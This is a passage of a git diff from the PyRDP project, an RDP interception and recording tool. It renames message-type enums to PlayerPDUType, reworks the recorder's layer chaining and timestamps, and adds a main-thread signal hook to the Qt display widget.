b/pyrdp/recording/observer.py index 573ff4903..f1a9a1054 100644 --- a/pyrdp/recording/observer.py +++ b/pyrdp/recording/observer.py @@ -4,7 +4,7 @@ # Licensed under the GPLv3 or later. # -from pyrdp.enum import PlayerMessageType +from pyrdp.enum import PlayerPDUType from pyrdp.layer import FastPathObserver, SlowPathObserver from pyrdp.pdu import ConfirmActivePDU, InputPDU, UpdatePDU from pyrdp.pdu.rdp.fastpath import FastPathPDU @@ -12,7 +12,7 @@ class RecordingFastPathObserver(FastPathObserver): - def __init__(self, recorder: Recorder, messageType: PlayerMessageType): + def __init__(self, recorder: Recorder, messageType: PlayerPDUType): self.recorder = recorder self.messageType = messageType FastPathObserver.__init__(self) @@ -29,5 +29,5 @@ def __init__(self, recorder: Recorder): def onPDUReceived(self, pdu): if isinstance(pdu, (ConfirmActivePDU, UpdatePDU, InputPDU)): - self.recorder.record(pdu, PlayerMessageType.SLOW_PATH_PDU) + self.recorder.record(pdu, PlayerPDUType.SLOW_PATH_PDU) SlowPathObserver.onPDUReceived(self, pdu) diff --git a/pyrdp/recording/recorder.py b/pyrdp/recording/recorder.py index 788a218fc..744bb7c88 100644 --- a/pyrdp/recording/recorder.py +++ b/pyrdp/recording/recorder.py @@ -4,16 +4,14 @@ # Licensed under the GPLv3 or later. # -import time from pathlib import Path from typing import Dict, List, Optional, Union -from pyrdp.enum import ParserMode, PlayerMessageType -from pyrdp.layer import PlayerMessageLayer, TPKTLayer -from pyrdp.layer.layer import LayerChainItem +from pyrdp.enum import ParserMode, PlayerPDUType +from pyrdp.layer import LayerChainItem, PlayerLayer from pyrdp.logging import log -from pyrdp.parser import BasicFastPathParser, ClientInfoParser, ClipboardParser, Parser, SlowPathParser -from pyrdp.parser.rdp.connection import ClientConnectionParser +from pyrdp.parser import BasicFastPathParser, ClientConnectionParser, ClientInfoParser, ClipboardParser, Parser, \ + SlowPathParser from pyrdp.pdu import PDU @@ -25,13 +23,13 @@ class Recorder: """ def __init__(self, transports: List[LayerChainItem]): - self.parsers: Dict[PlayerMessageType, Parser] = { - PlayerMessageType.FAST_PATH_INPUT: BasicFastPathParser(ParserMode.CLIENT), - PlayerMessageType.FAST_PATH_OUTPUT: BasicFastPathParser(ParserMode.SERVER), - PlayerMessageType.CLIENT_INFO: ClientInfoParser(), - PlayerMessageType.SLOW_PATH_PDU: SlowPathParser(), - PlayerMessageType.CLIPBOARD_DATA: ClipboardParser(), - PlayerMessageType.CLIENT_DATA: ClientConnectionParser(), + self.parsers: Dict[PlayerPDUType, Parser] = { + PlayerPDUType.FAST_PATH_INPUT: BasicFastPathParser(ParserMode.CLIENT), + PlayerPDUType.FAST_PATH_OUTPUT: BasicFastPathParser(ParserMode.SERVER), + PlayerPDUType.CLIENT_INFO: ClientInfoParser(), + PlayerPDUType.SLOW_PATH_PDU: SlowPathParser(), + PlayerPDUType.CLIPBOARD_DATA: ClipboardParser(), + PlayerPDUType.CLIENT_DATA: ClientConnectionParser(), } self.topLayers = [] @@ -40,34 +38,39 @@ def __init__(self, transports: List[LayerChainItem]): self.addTransport(transport) def addTransport(self, transportLayer: LayerChainItem): - player = PlayerMessageLayer() - - LayerChainItem.chain(transportLayer, player) + player = PlayerLayer() + player.setPrevious(transportLayer) self.topLayers.append(player) - def setParser(self, messageType: PlayerMessageType, parser: Parser): + def setParser(self, messageType: PlayerPDUType, parser: Parser): """ Set the parser to use for a given message type. """ self.parsers[messageType] = parser - def record(self, pdu: Optional[PDU], messageType: PlayerMessageType): + def record(self, pdu: Optional[PDU], messageType: PlayerPDUType): """ Encapsulate the pdu properly, then record the data """ + if messageType not in self.parsers: + for layer in self.topLayers: + layer.sendPDU(pdu) + + return + if pdu: data = self.parsers[messageType].write(pdu) else: data = b"" - timeStamp = int(round(self.getCurrentTimeStamp() * 1000)) + timeStamp = self.getCurrentTimeStamp() for layer in self.topLayers: layer.sendMessage(data, messageType, timeStamp) - def getCurrentTimeStamp(self) -> float: - return time.time() + def getCurrentTimeStamp(self) -> int: + return PlayerLayer().getCurrentTimeStamp() class FileLayer(LayerChainItem): diff --git a/pyrdp/ui/__init__.py b/pyrdp/ui/__init__.py index 2dc8f15c2..519fa9d38 100644 --- a/pyrdp/ui/__init__.py +++ b/pyrdp/ui/__init__.py @@ -5,4 +5,4 @@ # from pyrdp.ui.PlayPauseButton import PlayPauseButton -from pyrdp.ui.qt import RDPBitmapToQtImage, QRemoteDesktop \ No newline at end of file +from pyrdp.ui.qt import QRemoteDesktop, RDPBitmapToQtImage diff --git a/pyrdp/ui/qt.py b/pyrdp/ui/qt.py index 8631b7ca4..01c9f81c8 100644 --- a/pyrdp/ui/qt.py +++ b/pyrdp/ui/qt.py @@ -27,7 +27,7 @@ from io import BytesIO import rle -from PySide2.QtCore import QEvent, QPoint +from PySide2.QtCore import QEvent, QPoint, Signal from PySide2.QtGui import QColor, QImage, QMatrix, QPainter from PySide2.QtWidgets import QWidget @@ -124,6 +124,9 @@ class QRemoteDesktop(QWidget): """ Qt RDP display widget """ + # This signal can be used by other objects to run code on the main thread. The argument is a callable. + mainThreadHook = Signal(object) + def __init__(self, width: int, height: int, parent: QWidget = None): """ :param width: width of widget @@ -140,6 +143,12 @@ def __init__(self, width: int, height: int, parent: QWidget = None): self.mouseX = width // 2 self.mouseY = height // 2 + self.mainThreadHook.connect(self.runOnMainThread) + + + def runOnMainThread(self, target: callable): + target() + def notifyImage(self, x: int, y: int, qimage: QImage, width: int, height: int): """ @@ -171,7 +180,7 @@ def resize(self, width: int, height: int): """ self._buffer = QImage(width, height, QImage.Format_RGB32) super().resize(width, height) - + def paintEvent(self, e: QEvent): """ Call when Qt renderer engine estimate that is needed diff --git a/setup.py b/setup.py index 908affd1e..6b3d19a00 100755 --- a/setup.py +++ b/setup.py @@ -1,6 +1,12 @@ #!/usr/bin/env python3 # coding=utf-8 +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + # setuptools MUST be imported first, otherwise we get an error with the ext_modules argument. import setuptools from distutils.core import Extension, setup